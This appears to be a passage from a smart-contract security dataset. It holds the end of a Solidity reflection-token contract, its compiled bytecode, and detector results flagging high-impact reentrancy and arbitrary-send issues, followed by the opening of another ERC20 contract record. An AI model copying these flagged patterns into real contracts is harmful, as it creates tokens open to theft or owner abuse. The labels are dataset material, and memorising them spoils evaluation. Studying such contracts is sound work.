private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610398578063c9567bf9146103af578063d543dbeb146103c6578063dd62ed3e146103ef578063e8078d941461042c5761011f565b8063715018a6146102c55780638da5cb5b146102dc57806395d89b4114610307578063a9059cbb14610332578063b515566a1461036f5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610443565b6040516101469190612fd6565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612b1c565b610480565b6040516101839190612fbb565b60405180910390f35b34801561019857600080fd5b506101a161049e565b6040516101ae9190613158565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612acd565b6104af565b6040516101eb9190612fbb565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612a3f565b610588565b005b34801561022957600080fd5b50610232610678565b60405161023f91906131cd565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b99565b610681565b005b34801561027d57600080fd5b50610286610733565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612a3f565b6107a5565b6040516102bc9190613158565b60405180910390f35b3480156102d157600080fd5b506102da6107f6565b005b3480156102e857600080fd5b506102f1610949565b6040516102fe9190612eed565b60405180910390f35b34801561031357600080fd5b5061031c610972565b6040516103299190612fd6565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b1c565b6109af565b6040516103669190612fbb565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612b58565b6109cd565b005b3480156103a457600080fd5b506103ad610b1d565b005b3480156103bb57600080fd5b506103c4610b97565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190612beb565b610c49565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a91565b610d92565b6040516104239190613158565b60405180910390f35b34801561043857600080fd5b50610441610e19565b005b60606040518060400160405280600881526020017f466f6d6f20496e75000000000000000000000000000000000000000000000000815250905090565b600061049461048d61130a565b8484611312565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104bc8484846114dd565b61057d846104c861130a565b6105788560405180606001604052806028815260200161386860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052e61130a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3a9092919063ffffffff16565b611312565b600190509392505050565b61059061130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610614906130d8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61068961130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070d906130d8565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077461130a565b73ffffffffffffffffffffffffffffffffffffffff161461079457600080fd5b60004790506107a281611d9e565b50565b60006107ef600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e99565b9050919050565b6107fe61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610882906130d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f464f4d4f494e5500000000000000000000000000000000000000000000000000815250905090565b60006109c36109bc61130a565b84846114dd565b6001905092915050565b6109d561130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a59906130d8565b60405180910390fd5b60005b8151811015610b1957600160066000848481518110610aad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b119061346e565b915050610a65565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b5e61130a565b73ffffffffffffffffffffffffffffffffffffffff1614610b7e57600080fd5b6000610b89306107a5565b9050610b9481611f07565b50565b610b9f61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906130d8565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b610c5161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd5906130d8565b60405180910390fd5b60008111610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890613078565b60405180910390fd5b610d506064610d4283683635c9adc5dea0000061220190919063ffffffff16565b61227c90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610d879190613158565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea5906130d8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611312565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8457600080fd5b505afa158015610f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbc9190612a68565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561101e57600080fd5b505afa158015611032573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110569190612a68565b6040518363ffffffff1660e01b8152600401611073929190612f08565b602060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c59190612a68565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061114e306107a5565b600080611159610949565b426040518863ffffffff1660e01b815260040161117b96959493929190612f5a565b6060604051808303818588803b15801561119457600080fd5b505af11580156111a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111cd9190612c14565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671bc16d674ec80000601281905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b4929190612f31565b602060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113069190612bc2565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613138565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990613038565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d09190613158565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490613118565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490612ff8565b60405180910390fd5b60008111611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f7906130f8565b60405180910390fd5b6000600a81905550600a600b81905550611618610949565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116865750611656610949565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116be57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116f657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561179f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117a857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118535750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118c15750601160179054906101000a900460ff165b156119c057601160149054906101000a900460ff166118df57600080fd5b6012548111156118ee57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061196f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196690613098565b60405180910390fd5b601e4261197c919061328e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119cb306107a5565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a785750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ae4576003600a819055506009600b819055505b601160159054906101000a900460ff16158015611b4f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b675750601160169054906101000a900460ff165b15611c7557673782dace9d900000821115611b8157600080fd5b42600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf990613098565b60405180910390fd5b607842611c0f919061328e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5b81611f07565b60004790506000811115611c7357611c7247611d9e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d1e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d2857600090505b611d34848484846122c6565b50505050565b6000838311158290611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d799190612fd6565b60405180910390fd5b5060008385611d91919061336f565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dee60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e19573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e6a60028461227c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e95573d6000803e3d6000fd5b5050565b6000600854821115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613018565b60405180910390fd5b6000611eea6122f3565b9050611eff818461227c90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f65577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f935781602001602082028036833780820191505090505b5090503081600081518110611fd1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561207357600080fd5b505afa158015612087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ab9190612a68565b816001815181106120e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061214c30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611312565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121b0959493929190613173565b600060405180830381600087803b1580156121ca57600080fd5b505af11580156121de573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156122145760009050612276565b600082846122229190613315565b905082848261223191906132e4565b14612271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612268906130b8565b60405180910390fd5b809150505b92915050565b60006122be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231e565b905092915050565b806122d4576122d3612381565b5b6122df8484846123c4565b806122ed576122ec61258f565b5b50505050565b60008060006123006125a3565b91509150612317818361227c90919063ffffffff16565b9250505090565b60008083118290612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c9190612fd6565b60405180910390fd5b506000838561237491906132e4565b9050809150509392505050565b6000600a5414801561239557506000600b54145b1561239f576123c2565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806123d687612605565b95509550955095509550955061243486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251581612715565b61251f84836127d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161257c9190613158565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506125d9683635c9adc5dea0000060085461227c90919063ffffffff16565b8210156125f857600854683635c9adc5dea00000935093505050612601565b81819350935050505b9091565b60008060008060008060008060006126228a600a54600b5461280c565b92509250925060006126326122f3565b905060008060006126458e8787876128a2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d3a565b905092915050565b60008082846126c6919061328e565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290613058565b60405180910390fd5b8091505092915050565b600061271f6122f3565b90506000612736828461220190919063ffffffff16565b905061278a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e78260085461266d90919063ffffffff16565b600881905550612802816009546126b790919063ffffffff16565b6009819055505050565b600080600080612838606461282a888a61220190919063ffffffff16565b61227c90919063ffffffff16565b905060006128626064612854888b61220190919063ffffffff16565b61227c90919063ffffffff16565b9050600061288b8261287d858c61266d90919063ffffffff16565b61266d90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128bb858961220190919063ffffffff16565b905060006128d2868961220190919063ffffffff16565b905060006128e9878961220190919063ffffffff16565b9050600061291282612904858761266d90919063ffffffff16565b61266d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061293e6129398461320d565b6131e8565b9050808382526020820190508285602086028201111561295d57600080fd5b60005b8581101561298d57816129738882612997565b845260208401935060208301925050600181019050612960565b5050509392505050565b6000813590506129a681613822565b92915050565b6000815190506129bb81613822565b92915050565b600082601f8301126129d257600080fd5b81356129e284826020860161292b565b91505092915050565b6000813590506129fa81613839565b92915050565b600081519050612a0f81613839565b92915050565b600081359050612a2481613850565b92915050565b600081519050612a3981613850565b92915050565b600060208284031215612a5157600080fd5b6000612a5f84828501612997565b91505092915050565b600060208284031215612a7a57600080fd5b6000612a88848285016129ac565b91505092915050565b60008060408385031215612aa457600080fd5b6000612ab285828601612997565b9250506020612ac385828601612997565b9150509250929050565b600080600060608486031215612ae257600080fd5b6000612af086828701612997565b9350506020612b0186828701612997565b9250506040612b1286828701612a15565b9150509250925092565b60008060408385031215612b2f57600080fd5b6000612b3d85828601612997565b9250506020612b4e85828601612a15565b9150509250929050565b600060208284031215612b6a57600080fd5b600082013567ffffffffffffffff811115612b8457600080fd5b612b90848285016129c1565b91505092915050565b600060208284031215612bab57600080fd5b6000612bb9848285016129eb565b91505092915050565b600060208284031215612bd457600080fd5b6000612be284828501612a00565b91505092915050565b600060208284031215612bfd57600080fd5b6000612c0b84828501612a15565b91505092915050565b600080600060608486031215612c2957600080fd5b6000612c3786828701612a2a565b9350506020612c4886828701612a2a565b9250506040612c5986828701612a2a565b9150509250925092565b6000612c6f8383612c7b565b60208301905092915050565b612c84816133a3565b82525050565b612c93816133a3565b82525050565b6000612ca482613249565b612cae818561326c565b9350612cb983613239565b8060005b83811015612cea578151612cd18882612c63565b9750612cdc8361325f565b925050600181019050612cbd565b5085935050505092915050565b612d00816133b5565b82525050565b612d0f816133f8565b82525050565b6000612d2082613254565b612d2a818561327d565b9350612d3a81856020860161340a565b612d4381613544565b840191505092915050565b6000612d5b60238361327d565b9150612d6682613555565b604082019050919050565b6000612d7e602a8361327d565b9150612d89826135a4565b604082019050919050565b6000612da160228361327d565b9150612dac826135f3565b604082019050919050565b6000612dc4601b8361327d565b9150612dcf82613642565b602082019050919050565b6000612de7601d8361327d565b9150612df28261366b565b602082019050919050565b6000612e0a60088361327d565b9150612e1582613694565b602082019050919050565b6000612e2d60218361327d565b9150612e38826136bd565b604082019050919050565b6000612e5060208361327d565b9150612e5b8261370c565b602082019050919050565b6000612e7360298361327d565b9150612e7e82613735565b604082019050919050565b6000612e9660258361327d565b9150612ea182613784565b604082019050919050565b6000612eb960248361327d565b9150612ec4826137d3565b604082019050919050565b612ed8816133e1565b82525050565b612ee7816133eb565b82525050565b6000602082019050612f026000830184612c8a565b92915050565b6000604082019050612f1d6000830185612c8a565b612f2a6020830184612c8a565b9392505050565b6000604082019050612f466000830185612c8a565b612f536020830184612ecf565b9392505050565b600060c082019050612f6f6000830189612c8a565b612f7c6020830188612ecf565b612f896040830187612d06565b612f966060830186612d06565b612fa36080830185612c8a565b612fb060a0830184612ecf565b979650505050505050565b6000602082019050612fd06000830184612cf7565b92915050565b60006020820190508181036000830152612ff08184612d15565b905092915050565b6000602082019050818103600083015261301181612d4e565b9050919050565b6000602082019050818103600083015261303181612d71565b9050919050565b6000602082019050818103600083015261305181612d94565b9050919050565b6000602082019050818103600083015261307181612db7565b9050919050565b6000602082019050818103600083015261309181612dda565b9050919050565b600060208201905081810360008301526130b181612dfd565b9050919050565b600060208201905081810360008301526130d181612e20565b9050919050565b600060208201905081810360008301526130f181612e43565b9050919050565b6000602082019050818103600083015261311181612e66565b9050919050565b6000602082019050818103600083015261313181612e89565b9050919050565b6000602082019050818103600083015261315181612eac565b9050919050565b600060208201905061316d6000830184612ecf565b92915050565b600060a0820190506131886000830188612ecf565b6131956020830187612d06565b81810360408301526131a78186612c99565b90506131b66060830185612c8a565b6131c36080830184612ecf565b9695505050505050565b60006020820190506131e26000830184612ede565b92915050565b60006131f2613203565b90506131fe828261343d565b919050565b6000604051905090565b600067ffffffffffffffff82111561322857613227613515565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613299826133e1565b91506132a4836133e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132d9576132d86134b7565b5b828201905092915050565b60006132ef826133e1565b91506132fa836133e1565b92508261330a576133096134e6565b5b828204905092915050565b6000613320826133e1565b915061332b836133e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613364576133636134b7565b5b828202905092915050565b600061337a826133e1565b9150613385836133e1565b925082821015613398576133976134b7565b5b828203905092915050565b60006133ae826133c1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613403826133e1565b9050919050565b60005b8381101561342857808201518184015260208101905061340d565b83811115613437576000848401525b50505050565b61344682613544565b810181811067ffffffffffffffff8211171561346557613464613515565b5b80604052505050565b6000613479826133e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ac576134ab6134b7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f436f6f6c646f776e000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61382b816133a3565b811461383657600080fd5b50565b613842816133b5565b811461384d57600080fd5b50565b613859816133e1565b811461386457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b397c8f512090443b319b2a3c355b00d2aea42edb651af9f5426a3f56b2b8a8564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,864
0x0Aca2E79c450f1BF1EEbf4262734591bc08D03Bf
/** *Submitted for verification at Etherscan.io on 2021-09-22 */ // SPDX-License-Identifier: MIT pragma solidity =0.8.4; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } interface IBotProtector { function isPotentialBotTransfer(address from, address to) external returns (bool); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * 